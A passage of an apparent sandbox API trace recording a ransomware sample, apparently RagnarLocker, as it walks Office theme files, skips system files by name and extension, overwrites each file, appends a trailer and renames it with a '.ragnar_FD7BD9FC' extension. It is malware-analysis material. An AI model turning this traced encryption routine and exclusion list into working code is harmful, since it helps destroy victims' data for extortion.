(in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.980] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.980] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.980] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.980] GetProcessHeap () returned 0x580000 [0093.980] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.980] CloseHandle (hObject=0x98) returned 1 [0093.980] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" [0093.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.ragnar_FD7BD9FC" [0093.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.982] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0093.982] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.982] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Equity.eftx" | out: lpString1="Equity.eftx") returned="Equity.eftx" [0093.982] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned=".eftx" [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="autorun.inf") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="boot.ini") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootfont.bin") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootsect.bak") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootmgr") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootmgr.efi") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="bootmgfw.efi") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="desktop.ini") returned 1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="iconcache.db") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="ntldr") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="ntuser.dat") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="ntuser.dat.log") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="ntuser.ini") returned -1 [0093.982] lstrcmpiW (lpString1="Equity.eftx", lpString2="thumbs.db") returned -1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.982] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0093.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.984] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24611) returned 1 [0093.984] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x601a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.984] GetProcessHeap () returned 0x580000 [0093.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.984] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.985] VirtualAlloc (lpAddress=0x0, dwSize=0x6023, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.986] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.986] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.986] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6023, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6023, lpOverlapped=0x0) returned 1 [0093.987] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.987] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6023, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.987] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6023, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6023, lpOverlapped=0x0) returned 1 [0093.987] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6023, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.987] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.988] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6023, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.988] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.988] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.988] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.988] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.988] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.988] GetProcessHeap () returned 0x580000 [0093.988] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.988] CloseHandle (hObject=0x98) returned 1 [0093.988] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" [0093.988] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.ragnar_FD7BD9FC" [0093.988] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.989] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0093.989] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.989] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Essential.eftx" | out: lpString1="Essential.eftx") returned="Essential.eftx" [0093.989] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned=".eftx" [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="autorun.inf") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="boot.ini") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootfont.bin") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootsect.bak") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootmgr") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootmgr.efi") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="bootmgfw.efi") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="desktop.ini") returned 1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="iconcache.db") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="ntldr") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="ntuser.dat") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="ntuser.dat.log") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="ntuser.ini") returned -1 [0093.989] lstrcmpiW (lpString1="Essential.eftx", lpString2="thumbs.db") returned -1 [0093.989] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.989] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.989] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.989] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.990] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.990] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.990] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0093.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.991] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16350) returned 1 [0093.991] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.991] GetProcessHeap () returned 0x580000 [0093.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.991] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.992] VirtualAlloc (lpAddress=0x0, dwSize=0x3fde, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.992] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.992] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.993] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3fde, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3fde, lpOverlapped=0x0) returned 1 [0093.993] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.994] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fde, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.994] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3fde, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3fde, lpOverlapped=0x0) returned 1 [0093.994] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.994] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.994] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3fde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.994] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.994] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.994] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.994] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.995] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.995] GetProcessHeap () returned 0x580000 [0093.995] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.995] CloseHandle (hObject=0x98) returned 1 [0093.995] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" [0093.995] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.ragnar_FD7BD9FC" [0093.995] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.995] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0093.995] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.996] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Executive.eftx" | out: lpString1="Executive.eftx") returned="Executive.eftx" [0093.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned=".eftx" [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="autorun.inf") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="boot.ini") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootfont.bin") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootsect.bak") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootmgr") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootmgr.efi") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="bootmgfw.efi") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="desktop.ini") returned 1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="iconcache.db") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="ntldr") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="ntuser.dat") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="ntuser.dat.log") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="ntuser.ini") returned -1 [0093.996] lstrcmpiW (lpString1="Executive.eftx", lpString2="thumbs.db") returned -1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.996] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0093.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.997] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21156) returned 1 [0093.997] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x529b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.997] GetProcessHeap () returned 0x580000 [0093.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.997] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.999] VirtualAlloc (lpAddress=0x0, dwSize=0x52a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.999] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.999] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.999] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x52a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x52a4, lpOverlapped=0x0) returned 1 [0094.000] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.000] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.001] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x52a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x52a4, lpOverlapped=0x0) returned 1 [0094.001] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.001] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.001] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x52a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.001] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.001] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.001] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.001] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.001] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.001] GetProcessHeap () returned 0x580000 [0094.001] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 